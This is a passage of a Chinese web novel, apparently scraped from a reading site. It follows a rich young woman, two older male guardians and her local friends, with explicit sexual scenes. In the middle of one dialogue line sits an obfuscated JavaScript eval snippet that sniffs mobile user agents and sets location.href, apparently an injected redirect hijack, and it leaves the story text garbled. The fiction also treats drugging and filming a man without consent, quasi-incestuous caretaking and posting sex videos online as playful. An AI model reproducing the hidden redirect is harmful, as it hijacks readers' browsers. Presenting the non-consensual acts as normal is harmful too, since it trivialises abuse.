台静怡姿势懒散,坐没坐相。有人倒贴当舔狗,主动给她穿衣服,她就真的连胳膊和腿都懒得抬,美名曰:“只要你们思想不滑坡,办法总比困难多。” “铎叔说得对,既然知道我在骗你,干脆就别再拉着我做检查。有这时间,不如来说正事。”台静怡踮起脚尖,脚趾轻巧地落在秦述平摊着的掌心里。 “脚凉,体寒,要喝中药调理。”秦述明明猜到她要说什么正事,却装作不知,顾左而言他。 台静怡看破他的心机,直接问:“我妈的骨灰盒藏在哪里?” “你妈妈是个过度未雨绸缪的人。”秦述沉声道,“她还在世的时候,就已经写好了遗书。其中有一项提到,百年之后,她要与你爸爸合葬。之前你把你爸爸的骨灰盒扔到他的老家南京,已经算是违背你妈妈的心愿。这种情况下,我不可能再把你妈妈的骨灰盒交到你手里。毕竟,是你毁约在先。” “我和我妈之间的事,你无权插手。”台静怡冷笑,“你跟我妈之间没有任何血缘关系,你只是一个随我姥爷姓的,被我妈随便认领的一个平平无奇的义弟而已。台家人内部的事,跟你一个外人有什么关系。这么多年来,看在我妈的面子上,我叫你一声‘舅舅’。不给你面子的话——” 台静怡起身,拽住秦述的领带,不屑一顾地睨他。 “你就是一条没有实权的臭狗,地位与公司的法人与会计无异。但凡出事,头一个枪毙的就是你。” 邢铎拎着高跟凉拖,给她穿到脚上。 她踩着细高跟,“咵哒”、“咵哒”地走到洗漱台前,从手边的Hermes雾面鳄鱼包里挑出一根CL318M,对着镜子涂口红。明明心里急躁,涂口红的动作反倒慢而精细。底妆不用搽,只需要薄涂口红稍提气色,再理一理黑长直,镜里登时出现一个漂亮得不可方物的女人,不是她还能是谁。 她从不夸耀自己美得能有多令周边生灵涂炭,但她的确美得模糊了主客观的界限。她指尖轻点镜面,抚上镜里自己的脸,心叹不愧是老娘,年轻貌美,有钱有权有手段。 这样想着,心情大好,于是“咔咔”自拍几张,那浑然天成的角度、那不容置喙的神颜,那清冷孤傲的气质……OMG,是完美女人! 至于妈妈的骨灰盒…… 来日方长。她能把秦述叫来,就能让他留下。对付他,还不是易如反掌的事,玩他跟玩狗一样。 ** 洗浴间外。 邢铎抄手抱臂,看笑话似的,嘲笑秦述:“被她有理有据地讥讽一通,好受了?人家说得在理,母女间的事,你但凡插手,就是吃力不讨好。” “如果那是她妈妈要求的,难道我不能照做?”秦述点到即止,“娘亲舅大,就算她不认我,我也是她舅舅。”也是十二年来,给她又当妈又当爸又当炮.友又当舔狗的舅舅。 “按你这么说,那还有个‘爹亲叔大’的道理。”邢铎道。 秦述皱起眉头,不满邢铎无功却邀功。 “叔大?自她爸妈过世,这十二年来,你尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258008|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过什么叔叔的职责。孩子上学、住宿、交友的事你管过几回,孩子小升初、初升高、考上大学,各项考试的成绩排名你看过几次。这些年,有哪次家长签字是你签的,哪次家长会是你去的。她高考出成绩那晚,你在哪个城市谈生意?她十八岁生日那天,你又在哪个城市跑业务?” “还好意思说‘爹亲叔大’。”秦述冷斥,“从小到大,孩子的教育问题你从来没上过心,天天当撒手掌柜不管。现在孩子大了,记事了,你又在她面前混脸熟。我按照规矩来管束,被她斥骂。你一如既往地沉默隐身,反倒没受波及。你倒是不吃力也讨好,精明得很。” …… 台静怡从洗浴间里出来后,看到一副无比熟悉的场面——秦述怨夫似的奚落,邢铎哑巴般的沉默。 其实她的很多朋友都有在磕秦述、她、邢铎仨人奥利奥夹心式的CP,甚至有“检测到述棠铎自动输入99”这一名言。 朋友说,仨人分别是一个能干但爱抱怨的辣妈、一个放养孩子的隐形丈夫、一个无恶不作的恶小孩。 爸妈走后,台静怡主要由秦述带大。为了满足她喝罐罐奶的XP,秦述甚至用过能出milk的合法空.孕药,变成真正意义上的“男妈妈”。喂养哺育,从不在话下。 虽说叫他“舅舅”,可他只比她大八岁。一个不到而立之年的男人,却已做了多年男妈妈,其功绩的确可圈可点。 至于邢铎,虽然与秦述同岁,但形象的确更像传统家庭里的那个“消失的丈夫”。不是不关心她,而是没有比较就没有伤害。邢铎爱带着她玩,出去钓鱼打窝、喝酒打麻将。他的关心更专注在吃喝玩乐方面,而那恰恰是秦述最不屑且觉得无用的一种。 仨人这种关系,如菟丝花彼此爬拢。合在台静怡的态度,分也在台静怡的态度,但总之是分不太彻底的。 台静怡叹了口气,“别吵啦!”左胳膊挽住秦述,右胳膊挽住邢铎,“走了走了,做B超去,顺便给你俩看看脑子。” 不一时来到医院,医生给台静怡做着检查。 即便知道什么事都没有,可秦述与邢铎心里还是紧张。 “家长不用担心。”医生笑道,“我从业十几年来,第一次见到这么标准的子宫。没有息肉没有囊肿没有炎症,健康标致,漂亮像书里的例图一样。” 医生把超声检查报告单递给舅叔,台静怡却抢先截胡,拿着报告单,小小的自恋。不愧是她,从里到外都是浑然天成的漂亮。 医生见她这副乖乖模样,慈爱地揉了揉她的脑袋。又从抽屉里掏出一颗大白兔奶糖,“继续维持。” 台静怡被医生阿姨夸成了翘嘴。出医院时,她满面春风,笑盈盈地盯着秦述。 秦述被她盯得发毛,与此同时,心里又像被她的笑容轻飘飘地犁了一道。 他知道她想跟他说什么,可还不等她开口,他就点头说好。 来医院的路上,各处都在堵车。翻着腕表看,现在已经是下午六点半,南京的会已经开上了。 “索性就留在这里陪你。”秦述说道。 就这么一会儿功夫,秦述已经在本地找好一套大别墅。 “你和邢铎搬到新地方住,和我一起。” 台静怡正拿手机刷着论坛,一时没有回话。 沉默的邢铎把脑袋朝她歪了歪,念出停在她手机页面上的那条热贴。 “看热搜!男团某少爷成员被爆聚众□□!粉丝嘴硬表示‘你没被邀请’!” 台静怡此刻的吃瓜心情,简直像考试时发现考题都是自己会且能作对的类型,有种一目了然、胸有成竹的爽快。她把这条热贴转发给李欣,并说道:“你现担。” 两分钟后,李欣也给她转发了一条热贴。 “新瓜速递!最近很火的男网红疑似做小三被当场捉奸!据说蛋蛋都被砸掉一个!” 李欣:“你家狗。” 14.Chapter 14 台静怡把这一“掉蛋”热贴转发给姜骁,“所以你的蛋还在么。” 姜骁:“?” 他随即发了条仅她可见的实况图朋友圈,图里他穿着病号服躺在床上,艰难抬起打着石膏的胳膊,手扒开裤,露出一条粉嫩的幺鸡,底下是一对祛过皱的蛋。 想到她正在观览,幺鸡奋发图强,天天向上,脑袋翘了下,憨憨的。 台静怡忍笑回道:“幺鸡,二饼。此男已实现打麻将自由。” 姜骁:“?” “我现在才反应过来,你在拿我当跳板。其实你跟那西装男是一伙的。”姜骁忍痛回她消息,“但我不后悔。顺便跟那男的说一声,本人已结扎已戴套。” 随后,姜骁发给她两张图片—— 一张是他做结扎手术的医疗记录,一张是那盒没用完的panther 3L。 秦述瞥了眼,冷峻评价道:“螺蛳壳里做道场,小小的场地大大的骚。” 邢铎轻笑,朝台静怡告状道:“其实你舅舅比发贴的楼主更希望瓜主‘不完蛋’。” ** 秦述留在了获县。明明是为了台静怡留下,可他却死鸭子嘴硬,硬说是专程来这里谈生意。 台静怡看破不说破。从医院出来后,她与邢铎一道,回了秦述新买的那座大别墅。两层楼,屋内陈设冷清,但该有的家具、该具备的格调一概不少。 后院有座玻璃花房,屋顶与墙壁是一整片的方形玻璃,玻璃上糊着哥特式彩绘花窗纸,些许透着橘色的光,照出地上橘棕色花砖的质地。台静怡站在花房里,仿佛置身于日落前的巴塞罗那圣家堂。 “蓝玻璃窗和□□管鱼缸,还在路上。”秦述倚着玻璃门,说道。 台静怡折过身,抬脚朝花房出口走,指尖一路掠过花瓣,染上月季和百合的花香。 “准备得这么周到,都让我怀疑,你是不是早就做好了来获县的准备。” 秦述不置可否地淡淡一笑,“晚上吃什么?” 他换了身家居服,配上贤惠的问话,整个人有种人夫般的从容。仿佛不管她要吃什么,他都能不择手段地满足。 然而实际却是,他只擅长做清淡单调的白人饭。羽衣甘蓝牛排沙拉、牛油果花生酱贝果、滑蛋培根吐司、口蘑芦笋欧包、海盐黑胡椒三文鱼、咖啡美式拿铁…… 一日三餐,仅仅是这几样食物的排列组合。 台静怡走到他身边,“吃点大餐,豪华点,庆祝我们仨小别重逢。” 秦述颔首,让她放心。 半个小时后,他从烤面包机里夹出两片蓝莓厚芝士奶酪贝果,配上一碟蒜香烤南瓜、一碗奶油蘑菇汤,一齐搁在她面前,对她说:“这就是豪华版晚餐。” 他说县里没有卖贝果的店,他让助理跑到市里的沃尔玛,专门为她选来这种豪华口味的贝果。说这话时,他透露出小小的骄傲,真心认为自己为她准备出了一顿豪华晚餐。 台静怡把白人饭推给秦述,白他一眼。 这一幕恰被从当地超市买菜归来的邢铎看到。 邢铎左手提着一袋蔬菜肉水果,右手提着一袋辣条薯片小蛋糕,对甥舅俩说道:“还得是我来做饭。” 秦述瞥了眼,“少买点垃圾食品,不健康。” 邢铎满不在乎地笑了笑,“小孩子喜欢就行了,又不是天天吃。” 不多时,四菜一汤带饭后甜点出现在饭桌上。 邢铎做的饭色香味俱全,带有热腾腾的锅气,是很正宗的家常菜味道。不过他下厨一向重油重盐,偶尔吃一两顿图新鲜,吃久了便觉得腻。 仨人围在同一张饭桌上,各吃各的,静得只能听见细微的咀嚼声。 过去也是这样,大小姐与狗各吃各的,保姆干妈、管家干妈、仆人干妈,动辄二十来个人,恭谨地站在大小姐身后。倘若有谁打哈欠抠手指,下一秒就会被大小姐扇耳光。 老宅里的干妈们,各自混迹在商圈政圈时尚圈里,在外都是有头有脸的人物。可一旦回到老宅,她们就成了卑微的仆人,日常给台静怡喂.奶、哄睡、穿衣做饭等。 台静怡心情好的时候,会挽住她们的胳膊,甜丝丝地叫她们“妈妈”。 “妈妈,你能躺到我身边,陪我睡觉吗?” “妈妈,你能把衣服脱光,做我的人体写生模特吗?” “妈妈,你能把子宫撕开,让我躺进去歇息一会儿吗?” 心情不好时,她会让干妈用身上最像她妈妈的那个器官,竭尽手段地取悦她,直到她开心,否则她们要跪着叫她“妈妈”。 她对那些女人抱有怜惜、同情、关爱,因为那些女人可做妈妈的替身,且也愿意把她当作她们死去的女儿的转世再现。但纵使再相像,她们也不是她的妈妈。 她的妈妈正躺在金丝楠木骨灰盒里,数着盒里的花纹打磨时光,不知道是冷是热,是昏是醒。 “下周五是我妈的忌日,务必在那天把她的骨灰盒给我。”台静怡回过神,对秦述说道,“不然,我就下去见我妈。” 秦述咀嚼的动作戛然而止,脸部肌肉僵成过硬的发面团。 邢铎拎起嘴角,解围似的朝台静怡笑笑,“这么多菜,还堵不住你的嘴?饭桌上别说这些瘆人话。” 见台静怡态度强硬,秦述不好直接答应,也不好直接回绝,模糊道:“到时再说。” 明知台静怡是一个求生欲比谁都强,能外耗就绝不内耗,能推责就绝不认错的大小姐,根本不可能轻易寻死。可听了她这话,秦述心里还是针刺般的难受。 “你这样不在乎自己的死活,让那些给你喂过奶的人怎么想。”秦述近乎幽怨地望着台静怡,如怨夫在向孩子叨叨诉苦。 “TA们乳腺水肿,皲裂溃疡,堵.奶硬块,找师傅、用器具通.乳,但怎样都不管用,胸比石头块还硬。受激素影响,自身本就阴晴不定。但在你面前,还要摁下负面情绪,时刻满足你的需求。发烧无力是常态,但俯卧式哺乳更是已经形成肌肉记忆。” “你这样拿死做要挟,对得起从小喝到大的每一口奶吗?” 说完这一连串的话,秦述握着刀叉的手青筋乍现,呼吸蓦地急.促,胸膛朝前抬起,极力忍着情绪。 此男平时不会轻易生气,怎么今天那么反常。 邢铎目光疑惑,问秦述:“你也不是妇女之友,这方面怎么知道得这么清楚?” 怎么知道得这么清楚?因为他就是“TA们”里的其中之一! 他喝下药,默默承受身体变化带来的痛苦。喂给她喝的每一口奶里,都有他的血、他的精力、他的一腔付出! 要把一个极度恋母但母亲已经去世的恶毒孩子好好养大,这其中的艰难苦楚,只有TA们才懂得深刻。 但现在,这个小孩宣称要追随母亲去死。 她能渣,能恶毒,能事不关己,能背后捅刀;能享受一切福,做尽一切坏; 唯独不能去死。 秦述深吸一口长气,把刀叉一甩,兀自起身,椅子朝后“呲啦”一声。 “我吃饱了。” 话落,他大步跨到屋里,“砰”地关住屋门,留台静怡与邢铎面面相觑。 “狗脾气,这家伙越来越狗了,真是人越老事越多。”邢铎轻轻撞 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群里的朋友日常接龙想她,迫切想让她立即飞回上海,毕竟再不回去花天酒地、纸醉金迷、去club玩M,就要开学了。 台静怡回群友:“下周末就回去了。” 她有信心在下周结束前要来妈妈的骨灰盒,一旦目的达成,绝不在此地多留。 回群友消息时,她也有听秦述那屋的动静。他先洗了个澡,后来又在开视频会议,尽显董事风范。 等他开完视频会议,台静怡门也不敲地溜进他那屋。 他在为她随便“寻死觅活”而生气,可并没说不会把妈妈的骨灰盒给她。 他只是说:“到时再说。” 以他的性格,这句话的真正意思是:到时你再提这回事,我保准给你办妥。哪怕你不提,我也给你办妥。 至于为什么明明已经答应她的要求,却还在饭桌上翻脸不认人…… 那就是男人的心机了。 俗话说,小别胜新婚。 在这样一个小别重逢的燥热夏夜,奥利奥式的三人的最终归宿,一定是按照男|女|男的睡法,同床共寝。 不过由于当前年代不允许N.P,因而两个奥奥势必会明争暗斗,争夺中间的利利夹心。 邢铎心思没秦述那么细腻,自然没想到“用生气来勾引人”这个欲擒故纵的阴招。 台静怡却懂得秦述的心机,因为她是被他奶大的孩子。 她与他血液共通、精力共享,他付出的一切都化作她的细胳膊长腿,而她知道他产的奶的味道,并经历过无数次这样的时光——拽他的胸、扯他的乳,把下巴磕在他堵.奶的地方,眯眼欣赏他俯卧哺乳的时光。 因此,她清楚知道他的卑劣、自私、心机叵测,像他知道她那样。 不过她仍旧低估了他的心机程度。 此刻,屋里的秦述将自己复刻成初次那样,被她迷.奸初次—— 四面都支着一个相机三脚架,聚光灯将一方捆绑台照亮。台上平躺有一个赤条条的男人,脑袋朝后仰,脸被他的西装衬衫蒙住。 胸与肋骨的交接处有一道黑绳穿过,将其双臂拦住;腰胯与下半身关键部位,被另一条黑绳穿过,绳索扣与手腕处的相接,腰、胯、手三点一线地捆着。 那次视频已经录上,他在昏睡间,被她玩得近乎窒息。 这次他的眼睛直勾勾地盯着她,腰与胯连接的地方多了个黑色刺青,是做了文字扭曲效果的英文,原意为“sex slave”。 “小乖来。”他朝后仰脑袋,“坐舅舅脸上。” 15.Chapter 15 就知道他没喝饱。 下午那点水对他来说只是顺嘴塞牙缝的事。也许他本体是块旱地,需要有许多股水持续浇灌,他才能尝出一种甘甜。 台静怡走近,从脚边的工具箱里拿出一个魔法道具,会震的黑色钳子状小玩具。将其卡在乌龟的头上,紧接着就到了见证奇迹的时刻。 “噗呲——噗呲——” 天然喷泉一样,喷出透明水。 秦述肌肉乍起,腿抖似筛糠。 台静怡撩起漂亮的小裙子,起初没卸力,胳膊撑着台面。 秦述虽然四肢不能动,但他充分发挥主观能动性,踅摸到一个道路曲折但前途光明的小小世界。在他溜进这世界后,台静怡不由得卸掉力,瘫着坐实。 她拿出发圈盘头发,抬眼竟发现前方那个三脚架后面,还摆有一面立地的大镜子。 镜里,女人折起的裙摆渐渐如蝴蝶振翅般散落,裙褶如同许多道丝线一起朝男人的脑袋勒去。 男人被勒得心理和生理都取得极大的愉快,并用自己的愉快发力,把更高级的愉快反馈给女人。 将要走下一个流程时,屋门蓦地被邢铎敲响。 “秦述你说句话。”邢铎不忿道,“你要是没阴我,就吱个声。” 秦述倒是想回话,但支撑他发声的每个器官都被台静怡夺走。 “唔……” 台静怡轻笑,扬声朝门口道:“门没锁,你直接进……呀!” 谁知道邢铎这么实诚,不等她把话说完,直接闯进了屋。 “每次扫.黄都有你俩。”邢铎换了身男仆装,头上戴着狼耳朵,嘴上戴着止咬器,腰后带着狼尾巴。说话时,把身倚着门,一搭一搭地晃着手里的小手铐。 “唔唔唔唔!”秦述发出一声毫无威胁力的怒吼。 “他说:‘臭不要脸!’”台静怡主动充当翻译,语气和声调模仿得极其到位。 邢铎走近,超经意闯进拍摄现场。 “我和他,谁在推上的数据更好?” 拍现场视频,后期剪辑时给人脸打上码。如果有对话,就在相应帧加上字幕。最后把剪辑好的视频传到twitter,独乐乐不如众乐乐。 这种事是台静怡的爱好之一。 镜头全都对准除她之外的人,即使不小心拍到她的脸,剪辑时她也会P掉。因为配合拍摄者全都是极品,因而她被粉丝称为“每餐都吃得极好的富婆姐姐。” 粉丝最喜欢看的,大概是她拍的“先控后责更健康”系列,常驻男嘉宾之二就是秦述与邢铎。 但具体的视频数据,台静怡还真没数过。 她诚实回:“不知道,你猜。” 邢铎站到台静怡正前方,铐住她的手腕,把住她的腰朝身侧一架。下一秒她就趴到他身上,手搂着他的脖子,腿搂着他的腰身。 “不猜。回我屋,跟我拍一个。对照组一到位,不就知道谁数据更好了。” 邢铎拍了拍台静怡的背,说道。 见邢铎抬脚要走,秦述着急忙慌地斥道:“唔唔……脸!” 原话是“不要脸”,他以为自己仍不能吐字,结果“唔”到半路,台静怡忽然走了,自己的斥责一下显得那么可笑。 果然,台静怡和邢铎都笑出声来。 秦述气成充气版河豚,想当场揍邢铎一顿。可全身被绑着,不谈揍人,就是自救也不能。 “给我松绑!”秦述吼道。 “到点绳子自动会解开。”邢铎回道。 秦述:“你怎么知道?偷窥?” 邢铎:“因为我是第一个躺在这个台子上,体验绳缚的人。” 秦述输入出一阵鸟语花香,可没等他宣泄完,那俩人就关门离去。 他的死活,nobody cares. ** 邢铎没做擦点边的事,只是给她洗洗,又将她抱到床上,把她摁到自己真材实料的胸肌里,让她闭眼睡觉。 这一天她都不停忙活,被轮流吃,身体已经很累了。其实他也想吃,但来日方长,不急于这一时。 “在这里玩这么多天,就当是来度假了。”邢铎把她困在怀里,低喃道:“等离开这里,以后的日子就不好过了。” “怎么讲。”台静怡眼皮打架,声音囔囔的。 “离开这里回到上海,你结婚的事就要提上日程。从老爷子目前的身体状况看,届时你一到结婚年龄,就得立马举办仪式。”邢铎说,“虽然连结婚证都不用领,最多走个过场,给老爷子冲冲喜。但那也算是大事一桩……” 爸妈和姥姥都走得早,姥爷也不算长寿,眼见就要不行了。 台静怡固执觉得,妈妈这边的亲戚才叫亲戚。爸爸那边的亲戚,虽然待她同样好,可总像外家人一样。 到时姥爷一走,妈妈这边的亲戚就都没了。再往下数,充其量只有舅舅能让她依靠。 台静怡叹了口气,“台家历代祖宗的寿命,总是上一辈短,下一辈就长;上一辈长,下一辈就短。因此流传有‘长寿吸孙命,短寿赠孙命’这一说法。所以你看,姥姥那辈不长寿,妈妈那辈也不长寿,总不能是把寿命都赠给了我,要我活成一个大王八吧!” “说不定你是返祖。”邢铎低声哄道,“台家那个在唐朝的初代祖宗,在当时风流多情,男女通吃,三天两头开趴,又恶又渣,最后活到了120岁高寿。你想想,你跟那位老祖宗多像。” 像到曾被她姥姥评价:“台家盛出一生一世一双人的甜蜜小情侣,比如我和你姥爷,比如你妈妈和你爸爸。只出过两个超级无敌大渣女,男女都玩的那种——一个是初代祖宗,另一个就是你。” 这么一想,的确像得不能再像。台静怡困得发懵,没再说什么,蹭着一对奶睡了。 后半夜,秦述悄摸溜来,躺到台静怡的另一侧,默声打响反抗邢铎独家占有台静怡的第一枪,更好地推动今夜的男|女|男格局形成。 “你这是……”邢铎把台静怡搂紧,往旁撤了撤。 秦述阖眼:“通过揭露邢铎一系列的霸道占有行径,表现出本人空守闺房的凄苦生活,表达了本人孤独寂寞的凄凉心情,进一步抒发了本人壮志难酬、无所归依的沉痛感慨,同时烘托出本人豁达的情趣、宽容的胸怀,以及对小人行径不屑一顾的高远志向。” 邢铎目瞪口呆:“私底下偷偷背了多久,求阴阳怪气教程。” 秦述不屑:“我随便freestyle的歌词,他们发疯地记。” 邢铎:“TD。” ** 因为“捉奸”这一重大事故,姜骁接下来的一周都没再直播。 过去他虽然在邢铎名下的一家4S店里直播,但老板却是自媒体机构里的一位中年女士。现在女士怕他停播没热度掉粉,要在他养伤的时间里不忘拍短视频固粉。 姜萱常去医院照顾姜骁,并带来两个好消息,一个是:爸爸和舅舅终于死了。 另一个是:妈妈突然以“热心市民”的形象出现在了重大新闻里——妈妈悄悄告诉她的。 新闻里没出现妈妈的名字,但妈妈知道,电视里那位“伟大的某女士”就是她。 也是千千万万个终于被看到的女人。 兄妹俩恨不得敲锣打鼓庆祝,但碍于现实,这男和那男的后事还要办。忙了几天,生活又成了总体来看仍算蒸蒸日上的生活。 那天是周五,假期里的倒数第二个周五。这时的落日余晖,真正带上了“夕阳无限好”的意思。 马上就要开学了,可她最喜欢、最想见的那个人,此刻还是没能见到。她这才深刻意识到,原来见与不见,从不是缘分作祟,也根本不存在偶遇重逢的情况。见与不见,从来是由那个人生杀予夺。 那个人的电话总是忙线,她一次次地打空,不禁怀疑自己是否还能挤到她跟前,露个面,混个脸熟。她积攒够了失望,但仍怀有更多的期望。她试图找出一个正当的联系她的理由,她告诉自己:多少人曾像自己一样,形形色色地从那个人的世界里路过。他们跟自己一样,被漠视、被忽略、被随意丢弃,但他们仍觍着脸去俯首做低、媚颜讨好。想必自己也可以。 一番纠结后,姜萱终于鼓起勇气,给台静怡打了个电话。 “姐……姐姐,我好想你,我们可不可以见一面。” 医院走廊那股消毒水味,即使隔着手机屏幕,台静怡仿佛也能闻见。 她下意识拧了拧眉,“我们?哪里有我们?” 她挂断电话,扶了下头盔,“莫名其妙。” 她正坐在挂牌电动车的后座,驾驶员是李欣。她和李欣刚约过饭,此刻双双戴着头盔,骑着小电动车从熙攘老区穿过,打着消食之名,做着兜风之事。 李欣道:“你今天的情绪好低沉,遇到什么事了?” 台静怡淡声回:“后天,周日,我回上海。” 绿灯陡然变红,李欣猛地来个急刹车,车轮“呲溜”一声,前后座两个头盔猛然相撞。 “是吧,我也觉得假期过得好快,马上就要开学了。”李欣尴尬地笑了两声,驴唇不对马嘴地回道。 长红灯,秒数温吞地流过,每一秒都格外煎熬。恰好又碰到晚高峰,交警站在路口,指挥各路车变道掉头。四轮的机动车尚在慢吞吞地挪动,更别提两轮的非机动车,简直不知道什么时候才能走回家。 后座静得像从未载过人一样。李欣主动找话,“那你以后还回不回这里了?” “你说呢。”台静怡不耐烦地把话题扔给李欣。 那就是不回来了。李欣的眼睛在有限的视线里瞟来瞟去,瞟到交警的鞋带开了、机动车车主降下车窗,有的吵架有的聊天、背着书包的小女孩坐在电动车后座,啃着一串刚从路边摊买下的糖葫芦……那都不是她想看的,她想看台静怡的表情,偏偏没有勇气扭头。 她们面朝太阳,而影子背朝太阳。李欣没有勇气扭头,因此看不到台静怡的影子,无法从她的影子里窥出她的动作,也就不能从她的动作里倒推出她的心情。 太阳明明就照在李欣头顶,可李欣总觉得,真正能把她灼痛的太阳,却是身后默不作声的台静怡。太阳总是这样,即使没有刻意去望,也能深刻感受到它的存在。 她深刻地感受到台静怡,像感受到惶惶落日那样。 那件被台静怡夸过好看的背带裙,此刻汗哒哒地贴在她身上。 她的夏天定格在台静怡待在医院电梯里,拿着她的日记本一目十行地浏览的那一幕。 而台静怡的夏天,也许就定格在此刻——她腋下嗖嗖冒汗,衣服被洇出乌梅大的湿印子的此刻。 台静怡要回上海,而自己留给她的最终印象,居然是汗水汗味汗印子。李欣根本无法忍受。 她不知哪来的勇气,竟敢对台静怡说:“去我家坐坐吧。” 她想回家洗澡,然后让台静怡第一时间见到干净清爽的自己。如果台静怡愿意记得她的话,她想展现出不那么邋遢的那一面。 而台静怡竟没有拒绝。 ** 李欣家。 李欣卸下双肩包,不料双肩包里的卡包恰摔落在地。摔得狠了,鼓鼓囊囊的卡包把所有卡都吐了出来——一张身份证,一张银行卡,其他都是大巴司机的个人名片。充实且无用。 李欣蹲下身收拾,心觉尴尬。在台静怡还没来得及看清她家里的陈设前,她就把最拿不出手的贫穷给台静怡看了。她怕台静怡会对此鄙视,然而台静怡实在心不在此。 台静怡在想,今天是妈妈的忌日。等会儿回到她在获县的家,她要以怎样的姿势去捧住那个被送来的骨灰盒。 她把心思都放在妈妈身上,因此对李欣的胡思乱想一概不关心。 台静怡撩了下头发,随口道:“好热。” 李欣登时把窗户关上,将空调打开。又准备好蚊香液、花露水、落地电风扇、手拿小扇子、苍蝇拍,接着打开电视,备好白水水果零食,将台静怡请到铺着凉席的沙发里。 她几乎像个神经质的母亲,神神叨叨、忙忙碌碌,唯恐在细节处亏待她的孩子,台静怡。 台静怡心不在焉,“还是好热,身上不清爽,干脆在你家洗个澡好了。可以吗?” 李欣说当然可以,旋即拿出一身新买的睡衣,短袖短裤样式。又拿出一条一次性内裤,与一条新浴巾、一双新拖鞋,甚至拿出新的洗头膏护发素沐浴露,乃至新的牙刷牙缸牙膏。 台静怡惊叹李欣的周到。 李欣红着耳根,不敢承认其实她早在心里盼望这种时刻的到来。她盼望甚至幻想,要是哪天能跟台静怡用过同一间浴室、同一张马桶该多好。她将那视作关系亲密的表现,并渴望能与台静怡亲密。 “那我先洗了?”台静怡甩了甩手里的新浴巾,“我很快洗好。等我洗完,你就来洗。” 水声响起,仿佛被酒水淋了头,李欣颧骨酡红,将要醉酒。 她晕乎乎地朝浴室问:“要不要搓澡?” 那边没有回应。 李欣懊恼自己一时说话不过脑子。上海人搓澡吗?上海是北方还是南方?南方人会搓澡吗? 今天怎么回事。明知她心情不佳,自己还总是闹出尴尬事。现在好了,人家直接不回她了。李欣在客厅里走来走去,满心焦躁。 就在这时,台静怡的回话滞后传来。 “不用了!” 台静怡正洗着头发,“水声太大,听不清!出去再说!” 李欣松了口气。 等台静怡洗好出来,李欣也进去洗了个澡。洗完澡,整个人像一款清爽痱子粉,夏天特有的那种酣畅淋漓的清爽。 再走到客厅,见台静怡坐在沙发里,拿着手机回消息,脸上带有淡淡的笑。 台静怡一天没笑了。此刻手机那头能把她哄笑的人,会是谁。 李欣坐到台静怡身旁,“在跟谁聊天?” 以往这种涉及到私人信息的事,台静怡一概不回复。但今天,台静怡破天荒地主动介绍,“跟姚姚。” “姚姚是我最好的朋友,没有之一。”台静怡笑道。 台静怡说,姚姚是指姚师姚,中传广编的一名大学生。因专业要求,姚师姚经常写剧本拍视频。汉服复原、狗血伦理、霸总娇花,甚至文艺女同,什么种类的短视频微电影她都拍过。 “她让我演女同片里的P,而她自己演T。我问为什么我P她T,她说因为她比我高,拍出来效果更好。我说都演女同了,怎么还不互抠。何况文艺片里体位不重要,氛围拉扯才重要。她说有道理,于是拍出一个互攻片。”台静怡眼里泛光,“可惜那电影的母带丢了,回味都没法回味。” 台静怡说,在高考完的那个暑假,姚师姚去韩国的S.M公司做了女团练习生。 “姚姚她喜欢这个公司名,说自己的属性很符合企业文化。她有声乐舞蹈功底,很快就进了出道组,成了热门出道人选。公司给她定的人设营销方向是‘女鬼役大小姐’与‘真女同,做女团只为更好搞.姬’,还发了很多她的物料。” “那时我被她拉过去,配合她炒‘女同’CP。不过她最终没出道,一是因为大学军训在即,二是因为有家业要继承。” “那你们的初见呢?”李欣认真道,“跟我讲讲你俩初次见面的事吧。” 比起听闺蜜俩你侬我侬的相处,李欣更喜欢听俩人的初次碰面。她心里隐隐期冀,那时的姚师姚最好如她今天一样狼狈。她与台静怡的初见不算纯粹,因此想让姚师姚与台静怡的初见也不够纯粹。 “初见么……”台静怡认真回想,“是在国外的一家精神病院。” 那时台静怡隔壁住了个狂躁老太,白天痛骂太阳,晚上痛骂月亮。老太嗓门高,力气大,没日没夜地敲墙骂脏话。 有天台静怡将老太一通狂揍,之后和老太开启一场疯狂的追逐战。她在前面飞,老太在后面追,从一楼上到顶楼。不知是哪位病友在弹琵琶配乐,弹的是那出《十面埋伏》。 在老太追来前,台静怡把顶楼那道铁栏门反锁,将老太隔绝在外,任老太哭嚎臭骂。 台静怡不再搭理老太,欣赏着顶楼大厅的风景。 大厅里,除了她,还有另一个人—— 一个长相鬼气森森的长头发女孩,盘腿坐在大厅中央,抱着琵琶弹起《海青拿天鹅》。 台静怡走到那女孩面前,蹲下身,揪住女孩胸前的身份牌。 “姚师姚。”台静怡念道,“你的名字让我想到乔琪乔。” 姚师姚若无其事地弹奏,“我和乔琪乔有什么关系。” “我喜欢ABA式名字,这样正念反念都一样的名字。”台静怡起身,绕着姚师姚走来走去,“比如奥利奥、多伦多、沃尔沃、乔琪乔、姚师姚。” “ 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听说大小姐挥手大方,她一路装乖卖可怜,想让大小姐看到她,并给她一笔钱。 所以支撑她一直与台静怡保持联系的动力,明明是她对钱的欲望啊。 不是那种爱恨交织的复杂情绪,只是对钱的强烈欲望啊。 李欣用力握紧水杯。在手握成拳的情况下,只要稍一不用力,到手的东西就会白白流逝掉。总是这样,总是这样! 李欣面目渐渐扭曲,意识混乱。 大小姐要走了……大小姐根本不缺朋友……大小姐根本没把她当朋友……妹妹的呕吐物……自己的穷酸、自卑……那个跨越不成的阶级…… 李欣忽然红了眼,大步流星地朝台静怡走去。她化作一个阴暗的偏执鬼,夺掉台静怡的手机,跨坐在台静怡身上,用壮牛般的力气,钳制住台静怡挣扎的手臂。 “你疯啦?”台静怡目光震惊,“放开我!快放开我!” “李欣,你干嘛呀!你要把我压死啦!快下去,我很难受!快断气了!” “李欣,你被鬼附身啦,吃饱饭撑着啦!” “李欣”、“李欣”、“李欣”…… 